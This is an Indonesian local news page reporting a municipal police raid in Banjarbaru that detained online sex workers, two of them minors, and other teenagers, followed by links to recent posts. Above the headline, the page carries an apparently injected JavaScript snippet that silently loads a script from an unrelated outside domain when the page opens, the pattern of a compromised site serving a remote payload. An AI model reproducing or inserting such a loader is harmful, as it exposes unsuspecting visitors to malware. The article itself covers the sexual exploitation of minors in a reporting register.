(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PSK Online dan 13 Anak di Bawah Umur Terjaring Razia Satpol PP Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru berhasil mengamankan Penjaja Seks Komersial (PSK) online yang biasa beroperasi melalui aplikasi MiChat pada Kamis (29/9/2022).

Pada Giat Cipta Kondisi yang dipimpin langsung Kasatpol PP Banjarbaru, Hidayaturahman berhasil mengamankan 3 orang PSK bersama 10 remaja di dua titik lokasi. Tiga PSK tresebut masing masing berinisial AI (21), AZ (15) dan HA (16). Pertama mereka di Jalan Pandu Kelurahan Kemuning dan Jalan Bina Satria Gt. Jingah Loktabat Utara.

Kasi PPNS Opsdal Satpol PP Kota Banjarbaru, Yanto Hidayat berkata giat tersebut berdasarkan laporan dari warga sekitar yang resah dengan adanya kegiatan prostitusi dan juga temuan anggota.

“Mereka melakukan aktivitas di kost-kostan di tiga daerah di depan Qmall, Kelurahan Komet, Kemuning dan Loktabat Utara, saat itu kami melakukan pemancingan untuk bertransaksi dengan undercover kami dari Satpol dan berbuah hasil,” ungkapnya, Jumat (30/9/2022).

 

Baca juga  : Lakalantas di Sungai Loban, Pengendara Scoopy Lagi Isi Bensin Tewas Tertimpa Kontainer

Dilanjutkannya, saat ini sebagian sudah dititipkan di Rumah Singgah Berkarakter 5 orang, 1 orang sebagai PSK, 2 orang sebagai GM atau penyalur dan 2 orang sebagai penyalur.

Selama pandemi Covid-19 pihaknya kata Yanto sangat jarang melakukan Giat Cipta Kondisi. Namun kedepan, pihaknya akan menggencarkan lagi kegiatan tersebut.

“Kita geliatkan lagi kegiatan Satpol, selain PSK online ada juga PSK di lokalisasi,” jelasnya.

Terkait PSK online, tidak ada ketentuan tempat, bisa di kost-kostan, penginapan maupun hotel tergantung transaksinya.

 

Baca juga  : Tragedi Kelam 7 Jenderal Dihabisi

Adapun yang dititipkan di rumah singgah kata Yanto, akan dititipkan hingga hari Senin dengan beberapa pembinaan dari Dinas Sosial dan PPPA.

“Ada yang umur 15 tahun, yang mengaku sudah menggeluti aktivitas tersebut dari umur 12 tahun, dan mereka dengan rata-rata mereka melayani laki-laki 5 – 7 orang dengan tarif Rp500 ribu hingga Rp1,4 juta sekali kencan,” bebernya.

Dari semua PSK dan remaja yang terjaring giat Cipta Kondisi tersebut, Yanto menegaskan tidak ada satu orang pun dari Banjarbaru.

“Alhamdulillah tidak ada warga Banjarbaru, mereka orang luar dari kabupaten sebelah (Banjar) ada yang sudah menghubungi Dinas Sosial, ada yang datang orang tuanya, kita kordinasikan hari Senin kita antar ke orang tua atau kabupaten terkait,” tandasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

15 menit ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

37 menit ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

43 menit ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

1 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

1 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

1 jam ago

This website uses cookies.